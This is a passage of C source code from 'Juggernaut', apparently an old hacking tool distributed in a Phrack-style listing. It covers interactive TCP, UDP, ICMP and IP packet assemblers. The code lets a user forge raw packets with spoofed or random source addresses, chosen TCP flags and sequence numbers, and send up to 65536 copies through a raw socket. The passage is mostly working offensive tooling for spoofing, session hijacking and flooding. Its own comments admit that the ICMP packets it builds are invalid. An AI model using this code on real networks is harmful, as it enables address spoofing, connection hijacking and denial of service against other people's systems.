  5738.     while(loopsentry){
  5739.         mwipe();    
  5740.     mpktatcp(packetready,ntohs(tpack.tcp.source),ntohs(tpack.tcp.dest),ntohl(tpack.tcp.seq),ntohl(tpack.tcp.ack_seq),flags,ntohs(tpack.tcp.window),data);
  5741.                     
  5742.         fgets(buf,sizeof(buf),stdin);
  5743.         if(!(val=atoi(buf)))continue;
  5744.         switch(val){
  5745.             case 1:         /* Source Port */
  5746.              fprintf(stderr,"\nSource Port (0 - 65535) [qr] >");
  5747.                 fgets(buf,sizeof(buf),stdin);
  5748.         if(buf[0]=='r'){
  5749.             tpack.tcp.source=htons(random()&0xffff);
  5750.             packetready|=0x01;
  5751.             break;
  5752.         }
  5753.                 if(buf[0]=='q'||(val=atoi(buf))<0||val>65535){
  5754.             if(packetready&0x01)packetready^=0x01;    /* Clear flag 
  5755.                                                                    if set */
  5756.             tpack.tcp.source=0;
  5757.             break;
  5758.         }
  5759.         tpack.tcp.source=htons(val);
  5760.         packetready|=0x01;
  5761.         break;
  5762.             case 2:         /* Destination Port */
  5763.             fprintf(stderr,"\nDestination Port (0 - 65535) [qr] >");
  5764.                 fgets(buf,sizeof(buf),stdin);
  5765.         if(buf[0]=='r'){
  5766.             tpack.tcp.dest=htons(random()&0xffff);
  5767.             packetready|=0x02;
  5768.             break;
  5769.         }
  5770.                 if(buf[0]=='q'||(val=atoi(buf))<0||val>65535){
  5771.             if(packetready&0x02)packetready^=0x02;
  5772.             tpack.tcp.dest=0;
  5773.             break;
  5774.         }
  5775.         tpack.tcp.dest=htons(val);
  5776.         packetready|=0x02;
  5777.         break;
  5778.             case 3:         /* Sequence Number */
  5779.             fprintf(stderr,"\nSequence Number (0 - 4294967295) [qr] >");
  5780.                 fgets(buf,sizeof(buf),stdin);
  5781.         if(buf[0]=='r'){
  5782.             tpack.tcp.seq=htonl(random());
  5783.             packetready|=0x04;
  5784.             break;
  5785.         }
  5786.                 if(buf[0]=='q'||buf[0]=='-'){                           
  5787.             if(packetready&0x04)packetready^=0x04;        
  5788.             tpack.tcp.seq=0;
  5789.             break;
  5790.         }
  5791.         tpack.tcp.seq=htonl(strtoul(buf,0,10));
  5792.         packetready|=0x04;
  5793.         break;
  5794.             case 4:         /* Acknowledgement Number */
  5795.             fprintf(stderr,"\nAcknowledgement Number (0 - 4294967295) [qr] >");
  5796.                 fgets(buf,sizeof(buf),stdin);
  5797.         if(buf[0]=='r'){
  5798.             tpack.tcp.ack_seq=htonl(random());
  5799.             packetready|=0x08;
  5800.             break;
  5801.         }
  5802.                 if(buf[0]=='q'||buf[0]=='-'){
  5803.             if(packetready&0x08)packetready^=0x08;
  5804.             tpack.tcp.ack_seq=0;
  5805.             break;
  5806.         }
  5807.         tpack.tcp.ack_seq=htonl(strtoul(buf,0,10));
  5808.         packetready|=0x08;
  5809.         break;
  5810.         case 5:         /* Control Flags */
  5811.             i=0;
  5812.         bzero(flags,sizeof(flags));
  5813.             fprintf(stderr,"\nURG? [yNq] >");
  5814.                 fgets(buf,sizeof(buf),stdin);
  5815.         if(buf[0]=='q'){
  5816.             if(packetready&0x10)packetready^=0x10;
  5817.             tpack.tcp.urg=0;
  5818.             break;
  5819.         }
  5820.             if(buf[0]=='y'){
  5821.             tpack.tcp.urg=1;
  5822.             flags[i++]='U';
  5823.         }
  5824.         fprintf(stderr,"\nACK? [yNq] >");
  5825.                 fgets(buf,sizeof(buf),stdin);
  5826.         if(buf[0]=='q'){
  5827.             if(packetready&0x10)packetready^=0x10;        
  5828.             tpack.tcp.ack=0;
  5829.             break;
  5830.         }
  5831.         if(buf[0]=='y'){
  5832.             tpack.tcp.ack=1;
  5833.             flags[i++]='A';
  5834.         }
  5835.         fprintf(stderr,"\nPSH? [yNq] >");
  5836.                 fgets(buf,sizeof(buf),stdin);
  5837.         if(buf[0]=='q'){
  5838.             if(packetready&0x10)packetready^=0x10;
  5839.             tpack.tcp.psh=0;
  5840.             break;
  5841.         }
  5842.         if(buf[0]=='y'){
  5843.             tpack.tcp.psh=1;
  5844.             flags[i++]='P';
  5845.         }
  5846.         fprintf(stderr,"\nRST? [yNq] >");
  5847.                 fgets(buf,sizeof(buf),stdin);
  5848.         if(buf[0]=='q'){
  5849.             if(packetready&0x10)packetready^=0x10;    
  5850.             tpack.tcp.rst=0;
  5851.             break;
  5852.         }
  5853.         if(buf[0]=='y'){
  5854.             tpack.tcp.rst=1;
  5855.             flags[i++]='R';
  5856.         }
  5857.         fprintf(stderr,"\nSYN? [yNq] >");
  5858.                 fgets(buf,sizeof(buf),stdin);
  5859.         if(buf[0]=='q'){
  5860.             if(packetready&0x10)packetready^=0x10;
  5861.             tpack.tcp.syn=0;
  5862.             break;
  5863.         }
  5864.         if(buf[0]=='y'){
  5865.             tpack.tcp.syn=1;
  5866.             flags[i++]='S';
  5867.         }
  5868.         fprintf(stderr,"\nFIN? [yNq] >");
  5869.                 fgets(buf,sizeof(buf),stdin);
  5870.             if(buf[0]=='q'){
  5871.             if(packetready&0x10)packetready^=0x10;        
  5872.             tpack.tcp.fin=0;
  5873.             break;
  5874.         }
  5875.         if(buf[0]=='y'){
  5876.             tpack.tcp.fin=1;
  5877.             flags[i++]='F';
  5878.             }
  5879.         if(!flags[0])strcpy(flags,"none set");
  5880.         packetready|=0x10;
  5881.         break;
  5882.             case 6:     /* Window Size */
  5883.             fprintf(stderr,"\nWindow Size (0 - 65535) [qr] >");
  5884.                 fgets(buf,sizeof(buf),stdin);
  5885.         if(buf[0]=='r'){
  5886.             tpack.tcp.window=htons(random()&0xffff);
  5887.             packetready|=0x20;
  5888.             break;
  5889.         }
  5890.                 if(buf[0]=='q'||(val=atoi(buf))<0||val>65535){
  5891.             if(packetready&0x20)packetready^=0x20;
  5892.             tpack.tcp.window=0;
  5893.             break;
  5894.         }
  5895.         tpack.tcp.window=htons(val);
  5896.         packetready|=0x20;
  5897.         break;
  5898.             case 7:     /* Data payload */
  5899.             bzero(data,sizeof(data));
  5900.         bzero(tpack.payload,sizeof(tpack.payload));
  5901.         bzero(filename,sizeof(filename));
  5902.         fprintf(stderr,"\nData Payload Source (512 Bytes Maximum) [qfc] >");
  5903.                 fgets(buf,sizeof(buf),stdin);
  5904.         if(buf[0]=='c'){    /* Input from command line */
  5905.             fprintf(stderr,"\nEnter Payload [q] >");
  5906.             fgets(tpack.payload,sizeof(tpack.payload),stdin);
  5907.             strncpy(data,tpack.payload,sizeof(data));
  5908.             packetready|=0x40;
  5909.             break;
  5910.         }
  5911.         if(buf[0]=='f'){    /* Input from file */
  5912.             fprintf(stderr,"\nFilename [q] >");
  5913.             if(buf[0]==0x0a||buf[0]=='q')break;
  5914.             fgets(filename,sizeof(filename),stdin);
  5915.             for(i=0;i<4*MINIBUF;i++)if(!filename[i])break;
  5916.             filename[--i]=0;    /* Pesky Newline */
  5917.             if((fd=open(filename,O_RDONLY))<0){
  5918.                         if(verbosity){
  5919.                             fprintf(stderr,"Cannot open file for reading.\n");
  5920.                             fprintf(stderr,"[cr]");
  5921.                             getchar();
  5922.                         }
  5923.             continue;
  5924.                     }
  5925.                     i=0;
  5926.                     j=0;
  5927.             while(i<512){
  5928.                         j=read(fd,tpack.payload,sizeof(tpack.payload));
  5929.                         if(!j)break;    /* No more bytes ta read */
  5930.                         i+=j;
  5931.                     }
  5932.             strncpy(data,filename,sizeof(filename));
  5933.             close(fd);
  5934.             packetready|=0x40;
  5935.             break;
  5936.                    }   
  5937.         if(packetready&0x40)packetready^=0x40;
  5938.         bzero(data,sizeof(data));
  5939.         bzero(tpack.payload,sizeof(tpack.payload));
  5940.         break;
  5941.         case 8:         /* Return to previous menu */
  5942.             loopsentry=0;
  5943.                 bzero(&tpack,sizeof(tpack));
  5944.         break;
  5945.             case 9:         /* Return to Main */
  5946.             loopsentry=0;
  5947.                 woe=1;
  5948.                 break;
  5949.         case 10:        /* RIP assembler */
  5950.             if(packetready==0x07f){        /* AND mask of all the options */
  5951.                     tpack.tcp.doff=5;       /* Data offset */
  5952.             ripa(TCPTRANSPORT);        /* Checksum will be computed in 
  5953.                                                ripa */
  5954.             break;
  5955.         }
  5956.                 continue;
  5957.         default:        /* Bad input */
  5958.             continue;
  5959.         }
  5960.     }
  5961. }
  5962.  
  5963. /* 
  5964.  *  UDP assembler
  5965.  */
  5966.  
  5967. void udpa(){
  5968.  
  5969.     void ripa(int);
  5970.     void mwipe();
  5971.     void mpktaudp(int,unsigned short,unsigned short,char *);
  5972.  
  5973.     char buf[2*MINIBUF];
  5974.     unsigned long val;
  5975.     int packetready=0;        /* flag bits */
  5976.     char data[4*MINIBUF]={0},filename[4*MINIBUF]={0};
  5977.     int i=0,j,fd=0,loopsentry=1;
  5978.  
  5979.     bzero(&upack,sizeof(upack));
  5980.  
  5981.     srandom((unsigned)time(0));
  5982.  
  5983.     while(loopsentry){
  5984.         mwipe();    
  5985.  
  5986.     mpktaudp(packetready,ntohs(upack.udp.source),ntohs(upack.udp.dest),data);
  5987.                 
  5988.     fgets(buf,sizeof(buf),stdin);
  5989.         if(!(val=atoi(buf)))continue;
  5990.         switch(val){
  5991.             case 1:         /* Source Port */
  5992.             fprintf(stderr,"\nSource Port (0 - 65535) [qr] >");
  5993.                 fgets(buf,sizeof(buf),stdin);
  5994.         if(buf[0]==0x0a||buf[0]=='q'){
  5995.             if(packetready&0x01)packetready^=0x01;    
  5996.             upack.udp.source=0;
  5997.             break;
  5998.         }
  5999.         if(buf[0]=='r'){
  6000.             upack.udp.source=htons(random()&0xffff);
  6001.             packetready|=0x01;
  6002.             break;
  6003.         }
  6004.         if(!(int)(val=atoi(buf)))break;
  6005.             upack.udp.source=htons(val);
  6006.         packetready|=0x01;
  6007.         break;
  6008.             case 2:        /* Destination Port */
  6009.             fprintf(stderr,"\nDestination Port (0 - 65535) [qr] >");
  6010.                 fgets(buf,sizeof(buf),stdin);
  6011.         if(buf[0]==0x0a||buf[0]=='q'){
  6012.             if(packetready&0x02)packetready^=0x02;
  6013.             upack.udp.dest=0;
  6014.             break;
  6015.         }
  6016.         if(buf[0]=='r'){
  6017.             upack.udp.dest=htons(random()&0xffff);
  6018.             packetready|=0x02;
  6019.             break;
  6020.                 }
  6021.         if(!(int)(val=atoi(buf)))break;
  6022.         upack.udp.dest=htons(val);
  6023.         packetready|=0x02;
  6024.         break;
  6025.         case 3:        /* Data payload */
  6026.             bzero(data,sizeof(data));
  6027.             bzero(upack.payload,sizeof(upack.payload));
  6028.         bzero(filename,sizeof(filename));
  6029.         fprintf(stderr,"\nData Payload Source (512 Bytes Maximum) [qfc] >");
  6030.                 fgets(buf,sizeof(buf),stdin);
  6031.         if(buf[0]=='c'){    /* Input from command line */
  6032.             fprintf(stderr,"\nEnter Payload [q] >");
  6033.             fgets(upack.payload,sizeof(upack.payload),stdin);
  6034.             strncpy(data,upack.payload,sizeof(data));
  6035.             packetready|=0x04;
  6036.             break;
  6037.         }
  6038.             if(buf[0]=='f'){    /* Input from file */
  6039.             fprintf(stderr,"\nFilename [q] >");
  6040.             if(buf[0]==0x0a||buf[0]=='q')break;
  6041.             fgets(filename,sizeof(filename),stdin);
  6042.             for(i=0;i<4*MINIBUF;i++)if(!filename[i])break;
  6043.             filename[--i]=0;
  6044.             if((fd=open(filename,O_RDONLY))<0){
  6045.                         if(verbosity){
  6046.                             fprintf(stderr,"Cannot open file for reading.\n");
  6047.                             fprintf(stderr,"[cr]");
  6048.                             getchar();
  6049.                         }
  6050.             continue;
  6051.                     }
  6052.                     i=0;
  6053.                     j=0;
  6054.             while(i<512){
  6055.                         j=read(fd,upack.payload,sizeof(upack.payload));
  6056.                         if(!j)break;  
  6057.                         i+=j;
  6058.                     }
  6059.             strncpy(data,filename,sizeof(filename));
  6060.             close(fd);
  6061.             packetready|=0x04;
  6062.             break;
  6063.                 }
  6064.         if(packetready&0x04)packetready^=0x04;
  6065.         bzero(data,sizeof(data));
  6066.         bzero(upack.payload,sizeof(upack.payload));
  6067.         break;
  6068.         case 4:     /* Return to previous menu */
  6069.             loopsentry=0;
  6070.                 bzero(&upack,sizeof(upack));
  6071.         break;
  6072.             case 5:     /* Retuen to Main */
  6073.                 loopsentry=0;
  6074.                 woe=1;
  6075.                 break;
  6076.         case 6:     /* RIP assembler */
  6077.             if(packetready==0x07){        
  6078.                     upack.udp.len=htons(UDPHDR+BUFSIZE);
  6079.             ripa(UDPTRANSPORT);        
  6080.             break;
  6081.         }
  6082.             continue;
  6083.         default:    /* bad input */
  6084.             continue;   
  6085.         }
  6086.     }
  6087. }
  6088.  
  6089. /* 
  6090.  *  ICMP assembler
  6091.  *  This is no where as robust as it should be.  In fact, it doesn't really 
  6092.  *  create legal ICMP packets.  Oh well.  Next version.  I am tired of
  6093.  *  packet assembly duldrums...
  6094.  */
  6095.  
  6096. void icmpa(){
  6097.  
  6098.     void ripa(int);
  6099.     void mwipe();
  6100.     void mpktaicmp(int,unsigned short,unsigned short,char *);
  6101.  
  6102.     char buf[2*MINIBUF];
  6103.     unsigned long val;
  6104.     int packetready=0;        /* flag bits */
  6105.     char data[4*MINIBUF]={0},filename[4*MINIBUF]={0};
  6106.     int i=0,j,fd=0,loopsentry=1;
  6107.  
  6108.     bzero(&ipack,sizeof(ipack));
  6109.  
  6110.     while(loopsentry){
  6111.         mwipe();    
  6112.  
  6113.         mpktaicmp(packetready,ipack.icmp.type,ipack.icmp.code,data);
  6114.                 
  6115.     fgets(buf,sizeof(buf),stdin);
  6116.         if(!(val=atoi(buf)))continue;
  6117.         switch(val){
  6118.             case 1:                /* Type */
  6119.             fprintf(stderr,"\nType (0,3,4,5,8,9,10,11,12,13,14,15,16,17,18) [q] >");
  6120.                 fgets(buf,sizeof(buf),stdin);
  6121.         if(buf[0]==0x0a||buf[0]=='q'){
  6122.             if(packetready&0x01)packetready^=0x01;
  6123.             ipack.icmp.type=0;
  6124.             break;
  6125.         }
  6126.             if(!(int)(val=atoi(buf)))break;
  6127.         ipack.icmp.type=val;
  6128.         packetready|=0x01;
  6129.         break;
  6130.             case 2:                /* Code */
  6131.             fprintf(stderr,"\nCode (0,1 {2,3}) [q] >");
  6132.                 fgets(buf,sizeof(buf),stdin);
  6133.         if(buf[0]==0x0a||buf[0]=='q'){
  6134.         if(packetready&0x02)packetready^=0x02;
  6135.             ipack.icmp.code=0;
  6136.             break;
  6137.         }
  6138.         if(!(int)(val=atoi(buf)))break;
  6139.         ipack.icmp.code=val;
  6140.         packetready|=0x02;
  6141.         break;
  6142.         case 3:                /* Data payload */
  6143.             bzero(data,sizeof(data));
  6144.         bzero(ipack.payload,sizeof(ipack.payload));
  6145.         bzero(filename,sizeof(filename));
  6146.         fprintf(stderr,"\nData Payload Source (512 Bytes Maximum) [qfc] >");
  6147.                 fgets(buf,sizeof(buf),stdin);
  6148.         if(buf[0]=='c'){    /* Input from command line */
  6149.             fprintf(stderr,"\nEnter Payload [q] >");
  6150.             fgets(ipack.payload,sizeof(ipack.payload),stdin);
  6151.             strncpy(data,ipack.payload,sizeof(data));
  6152.             packetready|=0x04;
  6153.             break;
  6154.         }
  6155.         if(buf[0]=='f'){    /* Input from file */
  6156.             fprintf(stderr,"\nFilename [q] >");
  6157.             if(buf[0]==0x0a||buf[0]=='q')break;
  6158.             fgets(filename,sizeof(filename),stdin);
  6159.             for(i=0;i<4*MINIBUF;i++)if(!filename[i])break;
  6160.             filename[--i]=0;    
  6161.             if((fd=open(filename,O_RDONLY))<0){
  6162.                         if(verbosity){
  6163.                             fprintf(stderr,"Cannot open file for reading.\n");
  6164.                             fprintf(stderr,"[cr]");
  6165.                             getchar();
  6166.                         }
  6167.                 continue;
  6168.                     }
  6169.                     i=0;
  6170.                     j=0;
  6171.                     while(i<512){
  6172.                         j=read(fd,upack.payload,sizeof(upack.payload));
  6173.                         if(!j)break; 
  6174.                         i+=j;
  6175.                     }
  6176.                     strncpy(data,filename,sizeof(filename));
  6177.             close(fd);
  6178.             packetready|=0x04;
  6179.             break;
  6180.                 }
  6181.         if(packetready&0x04)packetready^=0x04;    
  6182.         bzero(data,sizeof(data));
  6183.         bzero(ipack.payload,sizeof(ipack.payload));
  6184.         break;
  6185.         case 4:    
  6186.                 loopsentry=0;
  6187.             bzero(&ipack,sizeof(ipack));
  6188.         break;
  6189.             case 5:
  6190.                 loopsentry=0;
  6191.                 woe=1;
  6192.                 break;
  6193.         case 6: 
  6194.             if(packetready==0x07){    
  6195.             ripa(ICMPTRANSPORT);        
  6196.             break;
  6197.         }
  6198.         continue;
  6199.         default: 
  6200.             continue;
  6201.         }
  6202.     }
  6203. }
  6204.  
  6205.  
  6206. /* 
  6207.  *  IP assembler and xmitter.  Transport layer checksum routines thanks to 
  6208.  *  Myth (Red, actually).
  6209.  */
  6210.  
  6211. void ripa(transport)
  6212. int transport;
  6213. {
  6214.  
  6215.     void mwipe();
  6216.     void mpktaip(int,char *,char *,unsigned short,unsigned short,char *,char *,int,char *);
  6217.     char *hostLookup(unsigned long);
  6218.     unsigned long nameResolve(char *);
  6219.     unsigned short in_cksum(unsigned short *,int);
  6220.     
  6221.  
  6222.     char buf[2*MINIBUF];
  6223.     unsigned long val;
  6224.     char tosflags[MINIBUF]={0},fflags[MINIBUF]={0},packettype[MINIBUF]={0};
  6225.     char sip[2*MINIBUF]={0},dip[2*MINIBUF]={0},*tempBuf;
  6226.     int packetready=0;              /* flag bits */
  6227.     int i=0,j=0,k=0;                /* Counters */
  6228.     int loopsentry=1,number=0;
  6229.  
  6230.     struct sockaddr_in sin;     
  6231.  
  6232.     struct psuedoHeader{                        
  6233.         unsigned long saddr;
  6234.         unsigned long daddr;
  6235.         unsigned char null;
  6236.         unsigned char prot;
  6237.         unsigned short tlen;
  6238.     }*ppheader;
  6239.  
  6240.     extern int ripsock;
  6241.  
  6242.     bzero(&rippack,sizeof(rippack));
  6243.     bzero((char *)&sin,sizeof(sin));
  6244.     
  6245.     srandom((unsigned)time(0));   
  6246.  
  6247.     while(loopsentry){
  6248.         i=0;
  6249.         mwipe();
  6250.         mpktaip(packetready,tosflags,fflags,ntohs(rippack.ip.frag_off),rippack.ip.ttl,sip,dip,number,packettype);
  6251.         
  6252.         fgets(buf,sizeof(buf),stdin);
  6253.         if(!(val=atoi(buf)))continue;
  6254.         switch(val){
  6255.             case 1:     /* TOS */
  6256.             bzero(tosflags,sizeof(tosflags));
  6257.         fprintf(stderr,"\nMinimize Delay? [yNq] >");
  6258.                 fgets(buf,sizeof(buf),stdin);
  6259.         if(buf[0]=='q'){
  6260.             if(packetready&0x01)packetready^=0x01; 
  6261.             rippack.ip.tos=0;
  6262.             break;
  6263.         }
  6264.         if(buf[0]=='y'){
  6265.             rippack.ip.tos|=0x10;
  6266.             tosflags[i++]='D';
  6267.         }
  6268.         fprintf(stderr,"\nMaximize Throughput? [yNq] >");
  6269.                 fgets(buf,sizeof(buf),stdin);
  6270.         if(buf[0]=='q'){
  6271.             if(packetready&0x01)packetready^=0x01; 
  6272.             rippack.ip.tos=0;
  6273.             break;
  6274.         }
  6275.         if(buf[0]=='y'){
  6276.             rippack.ip.tos|=0x08;
  6277.             tosflags[i++]='T';
  6278.         }
  6279.         fprintf(stderr,"\nMaximize Reliability? [yNq] >");
  6280.                 fgets(buf,sizeof(buf),stdin);
  6281.         if(buf[0]=='q'){
  6282.             if(packetready&0x01)packetready^=0x01; 
  6283.             rippack.ip.tos=0;
  6284.             break;
  6285.         }
  6286.         if(buf[0]=='y'){
  6287.             rippack.ip.tos|=0x04;
  6288.             tosflags[i++]='R';
  6289.         }
  6290.         fprintf(stderr,"\nMinimize Monetary Cost? [yNq] >");
  6291.                 fgets(buf,sizeof(buf),stdin);
  6292.         if(buf[0]=='q'){
  6293.             if(packetready&0x01)packetready^=0x01; 
  6294.             rippack.ip.tos=0;
  6295.             break;
  6296.         }
  6297.         if(buf[0]=='y'){
  6298.             rippack.ip.tos|=0x02;
  6299.             tosflags[i++]='C';
  6300.         }
  6301.         if(!tosflags[0])strcpy(tosflags,"none set");
  6302.         packetready|=0x01;
  6303.         break;
  6304.             case 2:            /* Frag Flags */
  6305.             bzero(fflags,sizeof(fflags));
  6306.         fprintf(stderr,"\nMore Fragments? [yNq] >");
  6307.                 fgets(buf,sizeof(buf),stdin);
  6308.         if(buf[0]=='q'){
  6309.             if(packetready&0x02)packetready^=0x02; 
  6310.             rippack.ip.frag_off=0;
  6311.             break;
  6312.         }
  6313.         if(buf[0]=='y'){
  6314.             rippack.ip.frag_off|=htons(0x4000);
  6315.             fflags[i++]='M';
  6316.         }
  6317.         fprintf(stderr,"\nDon't Fragment? [yNq] >");
  6318.                 fgets(buf,sizeof(buf),stdin);
  6319.         if(buf[0]=='q'){
  6320.             if(packetready&0x02)packetready^=0x02; 
  6321.             rippack.ip.frag_off=0;
  6322.             break;
  6323.         }
  6324.             if(buf[0]=='y'){
  6325.             rippack.ip.frag_off|=htons(0x2000);
  6326.             fflags[i++]='D';
  6327.         }
  6328.                 if(!fflags[0])strcpy(fflags,"none set");
  6329.         packetready|=0x02;
  6330.         break;
  6331.             case 3:         /* Frag Offset */
  6332.             fprintf(stderr,"\nFragment Offset [qr] >");
  6333.                 fgets(buf,sizeof(buf),stdin);
  6334.             if(buf[0]=='r'){
  6335.             rippack.ip.frag_off|=htons(random()&0x1fff);
  6336.             packetready|=0x04;
  6337.             break;
  6338.             }
  6339.                 if(buf[0]=='q'||(val=atoi(buf))<0||val>8191){
  6340.             if(packetready&0x04)packetready^=0x04;
  6341.             rippack.ip.frag_off&=~0x3fff;
  6342.             break;
  6343.             }
  6344.                 rippack.ip.frag_off|=htons(val&0x1fff);
  6345.             packetready|=0x04;
  6346.                 break;
  6347.             case 4:            /* TTL */
  6348.                 fprintf(stderr,"\nTTL (0 - 255) [qr] >");
  6349.                 fgets(buf,sizeof(buf),stdin);
  6350.             if(buf[0]=='r'){            
  6351.             rippack.ip.ttl=random()&0xff;
  6352.             packetready|=0x08;
  6353.                 break;
  6354.             }
  6355.             if(buf[0]=='q'||(val=atoi(buf))<0||val>255){
  6356.             if(packetready&0x08)packetready^=0x08;
  6357.             rippack.ip.ttl=0;
  6358.             break;
  6359.                 }
  6360.             rippack.ip.ttl=val;
  6361.             packetready|=0x08;
  6362.             break;
  6363.         case 5:            /* Source Address */
  6364.                 bzero(sip,sizeof(sip));
  6365.             fprintf(stderr,"\nSource Address [qr] >");
  6366.                 fgets(buf,sizeof(buf),stdin);
  6367.         if(buf[0]==0x0a||buf[0]=='q'){
  6368.             if(packetready&0x10)packetready^=0x10;
  6369.             rippack.ip.saddr=0;
  6370.             break;
  6371.                 }
  6372.                 if(buf[0]=='r'){
  6373.                     rippack.ip.saddr=htonl(random());
  6374.                     strncpy(sip,hostLookup(rippack.ip.saddr),sizeof(sip));
  6375.                     packetready|=0x10;
  6376.                     break;
  6377.                 }
  6378.                 strncpy(sip,buf,sizeof(sip));
  6379.                 for(i=0;i<2*MINIBUF;i++)if(!sip[i])break;
  6380.                 sip[--i]=0;                     
  6381.                    if(!(rippack.ip.saddr=nameResolve(buf))){
  6382.             fprintf(stderr,"Cannot resolve IP address.\n");
  6383.                 fprintf(stderr,"[cr]");
  6384.                     getchar();
  6385.             bzero(sip,sizeof(sip));            
  6386.             if(packetready&0x10)packetready^=0x10;
  6387.             break;
  6388.             }
  6389.                 packetready|=0x10;
  6390.             break;
  6391.         case 6:            /* Destination Address */
  6392.                 bzero(dip,sizeof(dip));
  6393.             fprintf(stderr,"\nDestination Address [qr] >");
  6394.                 fgets(buf,sizeof(buf),stdin);
  6395.             if(buf[0]==0x0a||buf[0]=='q'){
  6396.                 if(packetready&0x20)packetready^=0x20;
  6397.                 rippack.ip.daddr=0;
  6398.                 break;
  6399.                 }
  6400.                 if(buf[0]=='r'){
  6401.                     strncpy(dip,hostLookup(rippack.ip.daddr),sizeof(dip));
  6402.                     rippack.ip.daddr=htonl(random());
  6403.                     packetready|=0x20;
  6404.                     break;
  6405.                 }
  6406.                 strncpy(dip,buf,sizeof(dip));
  6407.                 for(i=0;i<2*MINIBUF;i++)if(!dip[i])break;
  6408.                 dip[--i]=0;
  6409.             if(!(rippack.ip.daddr=nameResolve(buf))){
  6410.                 fprintf(stderr,"Cannot resolve IP address.\n");
  6411.                 fprintf(stderr,"[cr]");
  6412.                     getchar();
  6413.                 bzero(dip,sizeof(dip));
  6414.                 if(packetready&0x20)packetready^=0x20;
  6415.                 break;
  6416.             }
  6417.             packetready|=0x20;
  6418.             break;
  6419.         case 7:                     /* Number of packets to send */
  6420.                 fprintf(stderr,"\nAmount (1 - 65536) [qr] >");
  6421.                 fgets(buf,sizeof(buf),stdin);
  6422.                 if(buf[0]=='r'){
  6423.                     number=(random()&0xffff);
  6424.                     packetready|=0x40;
  6425.                     break;
  6426.                 }
  6427.                 if(buf[0]=='q'||(val=atoi(buf))<0||val>65536){
  6428.                     if(packetready&0x40)packetready^=0x40;
  6429.                     number=0;
  6430.                     break;
  6431.                 }
  6432.                 number=val;
  6433.                 packetready|=0x40;
  6434.                 break;
  6435.             case 8:                /* Return */
  6436.                 loopsentry=0;
  6437.                 bzero(&rippack,sizeof(rippack));
  6438.             break;
  6439.             case 9:
  6440.                 loopsentry=0;
  6441.                 woe=1;
  6442.                 break;
  6443.             case 10:            
  6444.                 if(packetready==0x7f){
  6445.             sin.sin_family=AF_INET;         
  6446.                     sin.sin_port=0;
  6447.  
  6448.                     rippack.ip.version=4;            /* IPv4 */
  6449.                     rippack.ip.ihl=5;                /* This will change 
  6450.                                                            if options are
  6451.                                                            present */
  6452.             switch(transport){              
  6453.                 case NOTRANSPORT:        /* IP packet only */
  6454.                             sin.sin_addr.s_addr=rippack.ip.daddr;
  6455.  
  6456.                             rippack.ip.protocol=IPPROTO_IP;
  6457.  
  6458.                     break;
  6459.                 case TCPTRANSPORT:        /* TCP */
  6460.                             sin.sin_port=tpack.tcp.source;
  6461.                             sin.sin_addr.s_addr=rippack.ip.daddr;
  6462.                         
  6463.                             rippack.ip.protocol=IPPROTO_TCP;
  6464.  
  6465.                             tempBuf=(char *)malloc(PHDR+TCPHDR+BUFSIZE);
  6466.                             ppheader=(struct psuedoHeader *)tempBuf;
  6467.  
  6468.                             ppheader->saddr=rippack.ip.saddr;
  6469.                             ppheader->daddr=rippack.ip.daddr;
  6470.                             ppheader->prot=IPPROTO_TCP;
  6471.                             ppheader->null=0;
  6472.                             ppheader->tlen=htons(TCPHDR+BUFSIZE);
  6473.  
  6474.                             bcopy(&tpack,tempBuf+PHDR,PHDR+TCPHDR+BUFSIZE);
  6475.                             tpack.tcp.check=in_cksum((unsigned short *)tempBuf,PHDR+TCPHDR+BUFSIZE);
  6476.                             free(tempBuf);
  6477.                             bcopy((char *)&tpack,(char *)&rippack.payload,TCPHDR+BUFSIZE);
  6478.  
  6479.                             break;
  6480.                 case UDPTRANSPORT:        /* UDP */
  6481.                             sin.sin_port=upack.udp.source;
  6482.                             sin.sin_addr.s_addr=rippack.ip.daddr;
  6483.  
  6484.                 rippack.ip.protocol=IPPROTO_UDP;
  6485.  
  6486.                             tempBuf=(char *)malloc(PHDR+UDPHDR+BUFSIZE);
  6487.                             ppheader=(struct psuedoHeader *)tempBuf;
  6488.  
  6489.                             ppheader->saddr=rippack.ip.saddr;
  6490.                             ppheader->daddr=rippack.ip.daddr;
  6491.                             ppheader->prot=IPPROTO_UDP;
  6492.                             ppheader->null=0;
  6493.                             ppheader->tlen=htons(UDPHDR+BUFSIZE);
  6494.  
  6495.                             bcopy(&upack,tempBuf+PHDR,PHDR+UDPHDR+BUFSIZE);
  6496.                             upack.udp.check=in_cksum((unsigned short *)tempBuf,PHDR+UDPHDR+BUFSIZE);
  6497.                             free(tempBuf);
  6498.                             bcopy((char *)&upack,(char *)&rippack.payload,UDPHDR+BUFSIZE);
  6499.  
  6500.                             break;
  6501.                 case ICMPTRANSPORT:        /* ICMP */
  6502.                             sin.sin_addr.s_addr=rippack.ip.daddr;
  6503.  
  6504.                 rippack.ip.protocol=IPPROTO_ICMP;
  6505.             
  6506.                             break;
  6507.                 default:        /* Control should never fall here */
  6508.                 if(verbosity)perror("RIP Assembler [unknown transport]");
  6509.                 exit(1);
  6510.             }
  6511.                     for(k=number,i=0;i<number;i++){
  6512.                         if((j=sendto(ripsock,&rippack,RIPPACKETSIZE,0,(struct sockaddr *)&sin,sizeof(sin)))<RIPPACKETSIZE){
  6513.                     fprintf(stderr,"Packet # %d: Wrote only %d bytes to raw socket\n",i,j);
  6514.                             k--;
  6515.                 if(verbosity)perror("RIP module sendto");
  6516.                 }
  6517.                     }
  6518.             fprintf(stderr,"%d Packet(s) injected.\n",k);
  6519.             getchar();
  6520.             break;
  6521.             }
  6522.             continue;
  6523.         default: 
  6524.                 continue;
  6525.         }
  6526.     }
  6527.                                 /* NOTREACHED */
  6528. }
  6529. <-->
  6530. <++> Juggernaut/NumberOneCrush/surplus.c
  6531. /*
  6532.  *
  6533.  *                                  Juggernaut
  6534.  *                                  Version b2
  6535.  *
  6536.  *                            1996/7 Guild productions
  6537.  *                           daemon9[guild|phrack|r00t]
  6538.  *
  6539.  *                         comments to route@infonexus.com
  6540.  *
  6541.  *  This coding project made possible by a grant from the Guild corporation
  6542.  * 
  6543.  *  surplus.c - helper functions
  6544.  * 
  6545.  */
  6546.  
  6547. #include <string.h>
  6548. #include <signal.h>
  6549. #include <stdio.h>
  6550. #include <fcntl.h>
  6551. #include <unistd.h>
  6552. #include <netdb.h>
  6553. #include <arpa/inet.h>
  6554. #include <sys/stat.h>
  6555. #include <sys/ioctl.h>
  6556. #include <sys/types.h>
  6557. #include <sys/wait.h>
  6558.  
  6559. #define HELPFILE    "./ClothLikeGauze/.help"
  6560. #define FBUFSIZE     80
  6561. #define MINIBUF      10
